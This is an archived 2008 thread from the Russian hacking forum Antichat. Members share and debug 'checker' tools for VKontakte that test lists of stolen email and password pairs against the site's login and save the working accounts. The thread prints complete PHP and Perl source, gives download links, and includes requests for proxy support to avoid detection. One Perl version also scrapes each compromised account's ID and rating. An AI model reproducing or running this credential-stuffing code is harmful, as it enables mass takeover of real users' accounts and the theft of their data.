VKontakte checker [Архив] - Форум АНТИЧАТ

Просмотр полной версии : VKontakte checker

mouse.pro

30.05.2008, 19:28

[ VKontakte checker ]

Наверно самый простой чекер для vkontakte.ru, он проверяет аккаунты на валидность и положительный результат записывает в файл.

Список аккаунтов должен находиться в accounts.txt
Результат будет в good.txt
Отделение от почты и пароля точка с запятой. ( my@mail.ru;password )

Качаем:
http://slil.ru/25848279
http://ifolder.ru/control/?file_id=6786993&code=88c0db639fdf36418d763ad7c966a6d0
http://dump.ru/file_catalog/379934.aspx

Написан на PHP скомпилирован bamcompile
P.s: Only for Windows.

Эмо бой

30.05.2008, 19:47

спасибо большое,

EST a1ien

03.06.2008, 18:18

а зах компилить было можно вопрос??
Или типа это мега супер приват?!

bxN5

06.06.2008, 04:59

какая хер разница писал он делает что хочет

SUBJECT617

06.06.2008, 17:14

А нет ли похожей штуки, только чтобы он проверял базу мыл и скидывал только те что есть на вконтакте, а не уже сбрученные?

Chaak

06.06.2008, 17:41

Эх

<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#& ВКонтакте АККчекер 0.1
#& VKontakte ACCchecker 0.1
#& By NNNS::[icq: 474374]
#& All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|

# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12";
# Файл с аккаунтами
$acclist = "accounts.txt";
# Файл с валидными аккаунтами
$vallist = "valid.txt";
# Помещаем аккаунты в массив
$account = file($acclist);
# Рабочие аккаунты
$valid = 0;
# Нерабочие аккаунты
$invalid = 0;

function vkCheck($email,$pass) {
# Открываем сокет
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
# Отправляем заголовки
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
# Записываем ответ сервера в переменную
$ans=fgets($fp,128);
# Закрываем сокет
fclose($fp);
# Если 302 найден, значит акк валидный
if(preg_match("/\b302 Found\b/is", $ans)) {
return true;
} else {
return false;
}
}
# Запускаем цикл
for($i=0;$i<count($account);$i++) {
# Удаляем симолы перевода строки
$caccaunt = str_replace("\r\n","",$account[$i]);
# Разбиваем на e-mail и пароль
list($email,$pass) = explode(";",$caccaunt);
# Вызываем функцию проверки аккаунта
$answer = vkCheck($email,$pass);
# Если аккаунт рабочий, записываем его в файл
if ($answer == true) {
$fd = fopen($vallist,"a+");
fputs($fd,$account[$i]);
fclose($fd);
$valid++;
} else {
$invalid++;
}
}
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>

перекомпилировать может даже ребенок.

AlexV

10.06.2008, 10:42

mouse.pro - поправь ссылку на ifolder - а то ты скинул на упраление файлом)) Вот правленная - http://ifolder.ru/6786993 P.s. Срок продлил! :)

AlexV

10.06.2008, 12:02

А можно его переписать - чтобы можно было через прокси его подключить!? А то я к нету через прокси подключен....

Lil'Den

10.06.2008, 12:04

Еще неплохо бы видеть прогресс чека....А то Loading и все =(

svesve

18.06.2008, 23:54

#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

Чекер на перле.выводит еще и рейтинг + ид
Update:
хм когда код вставляешь как пхп код то обратные слэшы режуться )
странно

SeTM

19.06.2008, 00:11

ек, за перловку спасибо.
небольшой еррор -
Global symbol "$passn" requires explicit package name at vcheck.pl line 31.
Execution of vcheck.pl aborted due to compilation errors.

passn вместо pass

и в 36 заменить -
print OUT $res.":".$idd.":".$mail.":".$pass."n";
на
print OUT $res.":".$idd.":".$mail.":".$pass."\n";

svesve

19.06.2008, 00:51

исправил ) просто если его вставить как пхп то обратные слешы режуться )

AlexV

22.06.2008, 19:14

Ребят, а есть чекер работающий через проски или с хоста!?

MaTpOc

23.06.2008, 12:58

Чекер не работает!
Loading.... и больше ничего(

svesve

23.06.2008, 13:15

какой именно?*
перловый вчера проверял!

Solker

23.06.2008, 15:29

Ребят, а есть чекер работающий через проски или с хоста!?

Что тебе мешает запустить скомпилированный скрипт из первого поста, например из под FreeCap.

MaTpOc

23.06.2008, 21:08

AlexV

24.06.2008, 15:29

FreeCap.
Уточни за что FreeCap!?

AlexV

24.06.2008, 17:22

У кого-нить работает этот чекер???
Да работает! Но не через прокси! А у меня есть возможность подключения к нету - только через прокси! Please, кто-нить добавьте опцию подключения по прокси!

Foxtrot1

25.06.2008, 13:50

он тормознутый какой то не юзаю его...

AlexV

25.06.2008, 16:18

он тормознутый какой то не юзаю его...
А чем ты пользуешься?

Foxtrot1

25.06.2008, 22:58

родным dx'овским

AlexV

26.06.2008, 09:16

родным dx'овским
Да, но он же через прокси не работает?!

k0lbasa

26.06.2008, 14:44

#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;
чекер рейтинга

k0lbasa

26.06.2008, 14:51

только как его запустить? файлы logs и IDS_rate создал, скрипт сохранил как 1.pl, запускаю и он сразу закрывается

eLWAux

07.11.2008, 00:54

там кажись в файл logs.txt надо акки писать mail:pass ...

Велемир

27.02.2009, 20:46

Чёт я не фкурил.Заменил в сорсах в explode(";") на explode(":");,и акки стали записываться в valid.txt,а не в goods.txt

Велемир

27.02.2009, 22:48

Проблему решил,перекодировав все файлы вида логин:пароль в логин;пароль.Извиняюсь за тупость:Д